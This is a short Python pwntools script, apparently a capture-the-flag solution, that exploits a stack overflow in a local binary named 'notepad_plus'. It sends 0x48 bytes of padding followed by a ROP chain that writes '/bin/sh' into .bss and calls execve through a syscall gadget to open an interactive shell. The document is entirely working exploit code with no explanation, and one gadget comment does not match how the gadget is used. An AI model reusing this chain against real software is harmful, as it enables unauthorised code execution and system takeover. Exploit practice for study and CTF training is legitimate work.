#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'amd64'

p = process('./notepad_plus')
# pause()

pop_rdx_rsi = 0x44f2a9
pop_rax = 0x44cccc
pop_rdi = 0x400686
# mov qword ptr[rdx + 0x130], rsi
mov_q_rdx_rdi_pop_rbx = 0x414b94
syscall = 0x40142c

bss = 0x6bb320

payload = flat(
    cyclic(0x48),
    pop_rdx_rsi, 0, 0,
    pop_rax, 0,
    pop_rdx_rsi, bss-0x130, 0,
    pop_rax, 0,
    pop_rax, 0x3b,
    pop_rdi, "/bin/sh\0",
    mov_q_rdx_rdi_pop_rbx, 0,
    pop_rdi, bss,
    pop_rdx_rsi, 0, 0,
    syscall
)

p.sendlineafter(':', payload)

p.interactive()
p.close()
